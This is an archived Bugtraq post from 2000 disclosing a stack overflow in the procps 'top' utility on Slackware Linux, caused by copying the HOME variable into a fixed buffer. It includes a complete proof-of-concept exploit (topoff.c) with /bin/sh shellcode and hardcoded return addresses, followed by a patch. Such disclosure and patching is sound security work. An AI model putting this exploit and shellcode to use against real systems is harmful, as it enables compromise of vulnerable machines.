Bugtraq mailing list archives
[Fwd: Stack Overflow Vulnerability in procps's top]
From: Ben Lull <ben () valleylocal com>
Date: Tue, 15 Aug 2000 22:35:38 -0700
Ooops... forgot to attach the patch and proof of concept code. Sorry about that.
--- Begin Message --- From: Ben Lull <ben () valleylocal com>
Date: Tue, 15 Aug 2000 22:24:31 -0700
Description: The utility top, included with the procps package in Slackware Linux, contains multiple buffer overruns. Although the top utility is not sXid by default, it is still a problem. Through security comes stability, and by creating secure applications, you will in turn, create stable applications. The overflows occur in two different places. When a call to strcpy() is made, it copies the environmental variable HOME into the buffer rcfile[1024] without bounds checking. Reproduction: Included with this post is proof of concept code (topoff.c) for Slackware Linux 7.0.0 and 7.1.0. Simply remove the comment in front of '#define RET' for the version of Slackware which you are testing and compile. When run, the result will be a execve()'ed /bin/sh. You can also verify that your version of top is vulnerable by setting the environment HOME to a string greater then 1023 bytes. Solution: A patch for the most current version of procps (procps-2.0.6) is attached to this post. Obtain procps-2.0.6 from any Slackware distribution site under the source/a/procps/ directory. Unpack procps-2.0.6.tar.gz and apply the included patch (procps-2.0.6.patch). Credits: I'd like to actually say thank you to my boss for not getting on my case when I stray from my work to play with things such as this. Notes: For reference, you can see all previous posts at http://www.skunkware.org/security/advisories/ - Ben ************************ * Ben Lull * * Valley Local Internet, Inc * * Systems Administrator * ************************
--- End Message ---
/* * * topoff.c (08/02/00) * * Live buffer overflow (stack smasher/breaker/etc..) * Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0. * Earlier version should also be assumed vulnerable. * * By: Ben Lull (blull () valleylocal com) * * * * <--- Begin my Little Babble ---> * You know your bored when you go through utils like top * which don't have a sXid bit and spend the time generating * the shell code from scratch and all that fun stuff as * well as making the code pretty.. * * Note: * grep(1) is your friend... example usage: * me@synchro~> grep -F -n "str" *.c * me@synchro~> grep -F -n "get" *.c * me@synchro~> grep -F -n "print" *.c * me@synchro~> grep -n "\[\]" *.c | grep -F "char" * * * * Experienced working Offsets: * (It's obvious, look at the code) * BUFLEN - strlen(code) - EIP. * * You should know this one. * If you don't.. you shouldn't * Have toys such as this. * * * * Exploit Occurs: * * top.h: * 50: #define MAXNAMELEN 1024 * * * top.c: * 211: char rcfile[MAXNAMELEN]; * * 223: if (getenv("HOME")) { * 224: strcpy(rcfile, getenv("HOME")); * 225: strcat(rcfile, "/"); * 226: } * . * . * . * 1495: if (getenv("HOME")) { * 1496: strcpy(rcfile, getenv("HOME")); * */ #include <stdio.h> #include <stdlib.h> #define OFFSET 0 #define BUFLEN 1032 #define RET 0xbffffb35 /* Slackware 7.1 */ //#define RET 0xbffffafc /* Slackware 7.0 */ #define NOP 0x90 #define TOP "/usr/bin/top" char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; void usage(char *arg) { fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg); fprintf(stderr, "Examples:\n"); fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 bytes\n", arg); fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 bytes\n", arg); fprintf(stderr, "\t%s 429 up 0xbffffad8 -=- EIP set to 0xbffffad8 and increased by 429 bytes\n", arg); fprintf(stderr, "\t%s 429 down 0xbffffad8 -=- EIP set to 0xbffffad8 and decreased by 429 bytes\n\n", arg); exit(1); } int main(int argc, char *argv[]) { char *buf, *p; long *addressp, address; int offset=OFFSET; int i; if((argc < 3) || (argc > 4)) usage(argv[0]); if(argc == 3) { if(!strcmp(argv[2], "up")) { address = RET + atoi(argv[1]); printf("Increasing offset by: %d\n", atoi(argv[1])); printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1])); } if(!strcmp(argv[2], "down")) { address = RET - atoi(argv[1]); printf("Decreasing offset by: %d\n", atoi(argv[1])); printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1])); } } if(argc >= 4) { if(!strcmp(argv[2], "up")) { address = strtoul(argv[3], NULL, 16) + atoi(argv[1]); printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16)); printf("Increasing offset by: %d\n", atoi(argv[1])); printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1]))); } if(!strcmp(argv[2], "down")) { address = strtoul(argv[3], NULL, 16) + atoi(argv[1]); printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16)); printf("Decreasing offset by: %d\n", atoi(argv[1])); printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1]))); } } if (!(buf = (char *)malloc(BUFLEN))) { printf("Can't allocate memory.\n"); exit(-1); } p = buf; addressp = (long *) p; for (i = 0; i < BUFLEN; i+=4) { *(addressp++) = address; } for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) { buf[i] = NOP; } p = buf + (BUFLEN - strlen(code) - 4); for (i = 0; i < strlen(code); i++) *(p++) = code[i]; buf[BUFLEN] = '\0'; /* * A nifty trick is to run /bin/sh -i and run top manualy. * This way you can figure out if your going the right way or not * * strace/gdb /usr/bin/top * */ setenv("HOME", buf, 1); system(TOP); }
--- top.c Tue Aug 15 21:03:10 2000 +++ top.diff Tue Aug 15 20:57:38 2000 @@ -225,20 +225,35 @@ { FILE *fp; char *pt; - char rcfile[MAXNAMELEN]; + char *rcfile; char Options[256] = ""; header_lines = 7; + + if(!(rcfile = (char *)malloc(strlen(SYS_TOPRC)*sizeof(char *)))) { + fprintf(stderr, "Unable to malloc()\n"); + exit(1); + } + strcpy(rcfile, SYS_TOPRC); fp = fopen(rcfile, "r"); + if (fp != NULL) { fgets(Options, 254, fp); fclose(fp); } + + free(rcfile); parse_options(Options, 0); strcpy(Options, ""); + if (getenv("HOME")) { - strcpy(rcfile, getenv("HOME")); + if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) { + fprintf(stderr, "Unable to malloc()\n"); + exit(-1); + } + + strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1); strcat(rcfile, "/"); } strcat(rcfile, RCFILE); @@ -252,6 +267,7 @@ } fgets(Options, 254, fp); fclose(fp); + free(rcfile); } parse_options(Options, getuid()? Secure : 0); } @@ -1381,7 +1397,7 @@ void do_key(char c) { int numinput, i; - char rcfile[MAXNAMELEN]; + char *rcfile; FILE *fp; /* @@ -1583,7 +1599,13 @@ break; case 'W': if (getenv("HOME")) { - strcpy(rcfile, getenv("HOME")); + + if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) { + fprintf(stderr, "Unable to malloc()\n"); + exit(-1); + } + + strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1); strcat(rcfile, "/"); strcat(rcfile, RCFILE); fp = fopen(rcfile, "w"); @@ -1611,6 +1633,7 @@ fprintf(fp, "%c", 't'); fprintf(fp, "\n"); fclose(fp); + free(rcfile); SHOWMESSAGE(("Wrote configuration to %s", rcfile)); } else { SHOWMESSAGE(("Couldn't open %s", rcfile));
Current thread:
- [Fwd: Stack Overflow Vulnerability in procps's top] Ben Lull (Aug 16)